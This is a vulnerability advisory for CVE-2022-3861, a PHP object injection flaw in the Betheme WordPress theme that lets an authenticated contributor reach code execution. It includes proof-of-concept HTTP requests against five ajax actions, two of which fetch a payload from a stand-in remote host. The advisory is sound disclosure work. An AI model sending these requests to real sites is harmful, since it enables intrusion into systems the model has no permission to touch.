ADVISORY INFORMATION

  • Product: Betheme
  • Vendor URL: https://muffingroup.com/betheme
  • Type: Deserialization of Untrusted Data [CWE-502]
  • Date found: 2022-11-02
  • Date published: 2022-11-18
  • CVSSv3 Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
  • CVE: CVE-2022-3861

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

BeTheme 26.5.1.4 and below

INTRODUCTION

Ever since Betheme was just an idea, we knew that it would be different from all other multipurpose WordPress themes we’d tried before.

We wanted to build something more than just another WordPress theme, that could easily adapt to any project you need to work on without writing any code. A theme designed from scratch to save your time & help you enjoy your freedom…

(from the vendor’s homepage)

VULNERABILITY DETAILS

The WordPress theme is vulnerable to multiple PHP Object injections when processing input to multiple, privileged Wordpress ajax routes:

  • mfn_builder_import -> “mfn-items-import” parameter
  • mfn_builder_import_page -> “mfn-items-import-page” parameter
  • importdata -> “import” parameter
  • importsinglepage -> “import” parameter
  • importfromclipboard -> “import” parameter

To successfully exploit this vulnerability, an attacker must be authenticated with at least Wordpress “Contributer” rights.

Successful exploits can allow the attacker to execute arbitrary code.

PROOF OF CONCEPT

To exploit the “mfn_builder_import” ajax action, use:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 75
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close

mfn-builder-nonce=[your-nonce]&action=mfn_builder_import&mfn-items-import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=

To exploit the “mfn_builder_import_page” ajax action, use:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 123
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close

mfn-builder-nonce=[your-nonce]&action=mfn_builder_import_page&mfn-items-import-page=https://your-remote-payload.com/

To exploit the “importdata” ajax action, use:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 114
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close

mfn-builder-nonce=[your-nonce]&action=importdata&import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=

To exploit the “importsinglepage” ajax action, use:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 83
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close

mfn-builder-nonce=[your-nonce]&action=importsinglepage&import=https://your-remote-payload.com/

To exploit the “importfromclipboard” ajax action, use:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 123
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close

mfn-builder-nonce=[your-nonce]&action=importfromclipboard&import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=

SOLUTION

Update to version 26.6

REPORT TIMELINE

  • 2022-11-01: Discovery of the vulnerability
  • 2022-11-03: CVE requested from Wordfence (CNA)
  • 2022-11-04: Wordfence assigns CVE-2022-3861
  • 2022-11-08: Vendor notification
  • 2022-11-08: Opened up a security support case on envato.com since the vendor usually doesn’t respond
  • 2022-11-16: Envato responds stating that the vendor released 26.6 which fixes this vulnerability
  • 2022-11-18: Public disclosure

REFERENCES

None